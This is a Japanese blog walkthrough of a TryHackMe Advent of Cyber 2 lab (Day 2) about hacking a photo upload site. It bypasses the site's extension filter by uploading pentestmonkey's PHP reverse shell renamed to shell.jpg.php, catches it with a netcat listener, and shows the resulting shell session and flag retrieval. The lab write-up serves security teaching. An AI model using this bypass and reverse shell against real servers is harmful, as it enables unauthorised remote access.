LoginSignup
1
1

More than 3 years have passed since last update.

[TryHackMe] Advent of Cyber 2, Day 2 - Walkthrough -

Last updated at Posted at 2020-12-03

本稿では、TryHackMeにて提供されている「Advent of Cyber 2」ルームに関する攻略方法(Walkthrough)について検証します。
「Advent of Cyber 2」は「free room」(無料)で提供されています。購読を必要とせずに仮想マシンを「展開(Deploy)」することができます。

『Advent of Cyber 2』のWalkthroughインデックスを「[TryHackMe] Advent of Cyber 2に参加してみた」にて公開しました。

[Day 2] Web Exploitation: The Elf Strikes Back

ストーリー

Story_Day02.png

昨日の英雄的な行動によって、Christmas Control Centreの制御を取り戻した後、エルフ・McSkidyはあなたへ重要な仕事を任せることを決断しました。

ハッキングされていることが判明しているので、自分たちを守る方法が必要です!開発チームは、工場の周りをうろついている不審者の写真をアップロードするためのエルフ専用ウェブサイトを立ち上げました。プロダクションネットワークへ追加する前に安全であることを確認する必要があります。新たなサーバーに対するセキュリティ監査を実施し、ハッキングされないことを確認してください!

書類の下側に次のメッセージが書かれた付箋があります。

エルフ・McEagerへ
あなたにはシステムの監査用にID番号が割り当てられています。YOUR_ID_HEREこれを使ってサイトのアップロードセクションにアクセスしてください。
頑張ってください。

ID番号を書き留め、ブラウザから「不審者の写真アップロード」システムにアクセスします。

photo_upload_site.png

Day 2 - #1.

What string of text needs adding to the URL to get access to the upload page?

ブラウザで「不審者の写真アップロード」システムへアクセスすると、Please enter your ID as a GET parameterと指示が表示されています。

?id=YOUR_ID_HERE

GETパラメータ(GET parameter)」とは、クライアントのWebブラウザから、Webサーバー側に送信するデータをURLの末尾に特定の形式で表示したものです。URLの末尾に?記号を付け、「パラメータ名=値」の形式で記述します。
解答は「?id=YOUR_ID_HERE」がヒントです。

Day 2 - #2.

What type of file is accepted by the site?

アップロードページへアクセスします。
Protection.png

FirefoxではCtrl + UキーでHTMLソースコードを確認することができます。
HTML_Source.png

次のコードが気になります。

<input type=file id="chooseFile" accept=".jpeg,.jpg,.png">

アップロードされたファイルの拡張子をチェックしています。この場合、許可リスト「accept=".jpeg,.jpg,.png"」に含まれる拡張子をもつファイルのみがアップロードの許可がされています。
解答は「画像」の英語表記です。

Day 2 - #3.

In which directory are the uploaded files stored?

画像をアップロードするシステムです。このことからいくつかのディレクトリ名(/uploads,/images, /media,/resourcesなど)を推定することができます。

uploads.png

Day 2 - #4.

Activate your reverse shell and catch it in a netcat listener!

攻撃端末側でncコマンド構文を使用し、リバースシェルからの接続を待ち受けます。

kali@kali:~$ nc -lnvp 4444
listening on [any] 4444 ...

Day 2 - #5.

What is the flag in /var/www/flag.txt?

pentestmonkey のリバースシェル php-reverse-shell を設置する方法を検討します。

事前にphp-reverse-shell.phpソースコードを編集し、$ipの値を攻撃端末(Kali)のIPアドレスに変更しておきます。

r_shell.png

php-reverse-shell.phpファイルを「不審者の写真アップロード」システムにアップロードします。
そのためには、「ファイル拡張子フィルタリング」を回避する必要があります。
File Extension Filtering.png

そこで、拡張子を「.jpg.php」に変更します。ファイル拡張子フィルタリングは前方一致にてアップロードされたファイルの拡張子を判別しています。
ここでは、php-reverse-shell.phpshell.jpg.phpへリネームしました。アップロードは成功です。
successfully.png

/uploads/ディレクトリへアクセスします。shell.jpg.phpファイルがアップロードされていることが確認できます。

r_shell_upload.png

shell.jpg.phpファイルをクリックすると、攻撃端末で待ち受けていたncが起動します。

shell_exec.png

kali@kali:~$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.11.19.198] from (UNKNOWN) [10.10.211.110] 40344
Linux security-server 4.18.0-193.28.1.el8_2.x86_64 #1 SMP Thu Oct 22 00:20:22 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 21:26:19 up  1:52,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: cannot set terminal process group (862): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.4$ 

/var/www/ディレクトリにアクセスしてみます。

sh-4.4$ cd /var/www/
sh-4.4$ ls
ls
cgi-bin
flag.txt
html

flag.txtファイルが見つかりました。

cat flag.txt


==============================================================


You've reached the end of the Advent of Cyber, Day 2 -- hopefully you're enjoying yourself so far, and are learning lots! 
This is all from me, so I'm going to take the chance to thank the awesome @Vargnaar for his invaluable design lessons, without which the theming of the past two websites simply would not be the same. 


Have a flag -- you deserve it!
THM{MGU3...{BLOCKED}...Mzhh}


Good luck on your mission (and maybe I'll see y'all again on Christmas Eve)!
 --Muiri (@MuirlandOracle)


==============================================================

これにて、「不審者の写真アップロード」システムのセキュリティ監査は終了です。このままプロダクションネットワークへ追加するわけにはいかないようです。

2日目のミッションが終了です。

参考になるTryHackMeのルーム

Walkthrough

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1